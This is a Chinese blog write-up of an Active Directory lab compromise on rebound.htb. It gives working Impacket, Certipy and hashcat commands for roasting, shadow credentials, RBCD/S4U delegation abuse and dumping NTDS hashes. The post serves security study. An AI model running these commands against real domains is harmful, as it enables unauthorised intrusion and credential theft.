文章总结: 本文详述攻破AD域的实战过程,利用RID循环与Kerberos攻击获初始凭证,结合ACL滥用与影子凭证提权。核心演示如何利用GMSA密码提取与RBCD构建S4U攻击链夺取域控权限。文中包含详细工具示例与配置注意点,极具实战参考价值。 综合评分: 93 文章分类: 内网渗透,渗透测试,红队,实战经验
攻破Active Directory:Kerberos委派与RBCD滥用实战
柠檬赏金猎人
2026年2月28日 10:00 广东
概述
综合利用RID循环攻击、AS-REP Roasting、Kerberoasting、ACL滥用、影子凭证、GMSA密码提取、约束委派和基于资源的约束委派(RBCD)等多种技术,最终获取域管理员权限。整个攻击链展示了现代AD环境中常见的安全配置问题和攻击面。
技术/功能
核心攻击技术:
- 信息收集与用户枚举
- RID循环攻击:通过SMB空会话(guest)枚举域用户和组。
- 端口扫描:识别域控制器标准端口(LDAP, Kerberos, SMB等)。
- 初始访问
- AS-REP Roasting:利用用户
jjones设置的DONT_REQUIRE_PREAUTH属性,获取其Kerberos AS-REP哈希。 - 无凭证Kerberoasting:滥用
jjones的预认证绕过属性,为其他服务账户(如ldap_monitor)请求TGS票据并离线破解。
- 横向移动与权限提升
- 密码喷洒:发现
ldap_monitor与oorend共享密码。 - ACL分析与滥用:
- 发现
oorend对ServiceMgmt组拥有Self权限,可将自身添加到该组。 ServiceMgmt组对Service UsersOU拥有GenericAll权限,从而oorend可以控制该OU内的用户(如winrm_svc)。
- 发现
- 接管目标账户:
- 方法一(密码重置):直接修改
winrm_svc用户的密码。 - 方法二(影子凭证):使用Certipy为
winrm_svc添加影子凭证(Key Credential),获取其NTLM哈希,更为隐蔽。
- 方法一(密码重置):直接修改
- 跨会话中继攻击:利用
TBrady用户已登录的会话,通过RemotePotato0或KrbRelay工具触发其NTLM认证并中继/捕获哈希,随后破解获得明文密码。
- 关键信息获取
- GMSA密码读取:
TBrady对delegator$(GMSA账户)拥有ReadGMSAPassword权限。使用bloodyAD、GMSAPasswordReader或netexec提取其NTLM哈希。
- 委派滥用与域控妥协
- 约束委派分析:发现
delegator$账户被配置为对DC01$的HTTP服务进行约束委派。 - 基于资源的约束委派(RBCD)设置:利用
delegator$的哈希,通过rbcd.py将ldap_monitor设置为delegator$的受信任委派主体。 - S4U2Self + S4U2Proxy链:
- 以
ldap_monitor身份,通过S4U2Self和S4U2Proxy,模拟DC01$机器账户获取一个访问delegator$服务(browser/dc01.rebound.htb)的可转发票据。 - 以
delegator$身份,使用上一步获得的可转发票据,结合其原有的约束委派权限,通过S4U2Proxy为DC01$机器账户请求访问DC01的HTTP服务票据。
- 以
- 哈希转储:使用最终获得的
DC01$机器账户票据,通过secretsdump.py的DRSUAPI方法转储整个域(NTDS.DIT)的NTLM哈希。 - 域管理员访问:使用管理员的NTLM哈希通过Evil-WinRM获得域控的完全控制权。
涉及工具:
nmap、netexec、lookupsid.pyGetNPUsers.py、GetUserSPNs.pyhashcatbloodhound-python、bloodyAD、powerview.pycertipy、RunasCs.exeRemotePotato0、KrbRelayGMSAPasswordReader.exerbcd.py、getST.py、secretsdump.pyevil-winrm
使用示例
1. 无凭证Kerberoasting (AS-REP + Kerberoast组合)
# 1. 枚举用户 (RID循环)
lookupsid.py -no-pass '[email protected]' 8000 | grep SidTypeUser | cut -d' ' -f2 | cut -d'\' -f2 > users.txt
# 2. 发现无需预认证的用户
GetNPUsers.py -usersfile users.txt rebound.htb/ -dc-ip 10.10.11.231
# 3. 利用该用户进行Kerberoasting
GetUserSPNs.py -no-preauth jjones -usersfile users.txt -dc-host 10.10.11.231 rebound.htb/ | grep '^\$krb' > kerb_hashes.txt
# 4. 破解哈希
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
2. 影子凭证攻击
# 使用Certipy为受控用户添加影子凭证并获取哈希
certipy shadow auto -username [email protected] -password 'Password123' -k -account winrm_svc -target dc01.rebound.htb
# 输出中包含目标用户的NTLM哈希
3. 基于资源的约束委派 (RBCD) 攻击链
# 1. 添加RBCD权限
rbcd.py 'rebound.htb/delegator$' -hashes :E1630B0E18242439A50E9D8B5F5B7524 -k -delegate-from ldap_monitor -delegate-to 'delegator$' -action write -dc-ip dc01.rebound.htb -use-ldaps
# 2. 获取可转发票据 (S4U2Self + S4U2Proxy)
getST.py 'rebound.htb/ldap_monitor:Password123' -spn browser/dc01.rebound.htb -impersonate DC01$
# 保存为票据缓存文件,例如 DC01\$@[email protected]
# 3. 利用约束委派获取DC机器账户票据
getST.py -spn http/dc01.rebound.htb -impersonate 'DC01$' 'rebound.htb/delegator$' -hashes :E1630B0E18242439A50E9D8B5F5B7524 -additional-ticket DC01\$@[email protected]
# 保存为新的票据缓存文件
# 4. 使用机器账户票据转储域哈希
export KRB5CCNAME='DC01$@[email protected]'
secretsdump.py -no-pass -k dc01.rebound.htb -just-dc-ntlm
注意事项
- LDAP通道绑定:目标域控制器强制要求LDAP通道绑定和签名。在使用LDAP相关工具(如
bloodhound-python、certipy find、netexec ldap)时,可能需要添加-k(Kerberos)、-scheme ldaps或--use-ldaps参数,甚至安装特定补丁的ldap3库。 - 票据与哈希:Kerberos票据(
.ccache)和NTLM哈希是不同形式的凭据,适用于不同的协议和工具。理解getST.py、secretsdump.py等工具何时使用-k(票据)或-hashes参数至关重要。 - 清理与重置:实验环境中可能存在自动化脚本重置某些配置(如RBCD)。如果攻击步骤中途失败,可能需要重新执行之前的设置步骤。
- 主机名解析:确保攻击机能够正确解析域控制器的主机名(如
dc01.rebound.htb),将其添加到/etc/hosts文件,否则Kerberos认证可能失败。 - 工具版本:某些工具(如
bloodhound-python的新版本)在数据收集时可能遇到错误,需要调整参数或使用旧版本。GetUserSPNs.py的无预认证Kerberoasting功能需要较新的Impacket版本。 - 攻击路径多样性:本机展示了多种达到同一目的的方法(如密码重置 vs. 影子凭证,RemotePotato0 vs. KrbRelay),理解其原理和优缺点有助于在实际场景中选择合适的技术。
参考链接
- https://www.semperis.com/blog/new-attack-paths-as-requested-sts/
- https://github.com/fortra/impacket
- https://github.com/aniqfakhrul/powerview.py
- https://github.com/CravateRouge/bloodyAD
- https://github.com/ly4k/Certipy
- https://github.com/antonioCoco/RemotePotato0
- https://github.com/cube0x0/KrbRelay
- https://github.com/rvazarkar/GMSAPasswordReader
- https://www.thehacker.recipes/a-d/movement/dacl/readgmsapassword
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:柠檬赏金猎人 《攻破Active Directory:Kerberos委派与RBCD滥用实战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论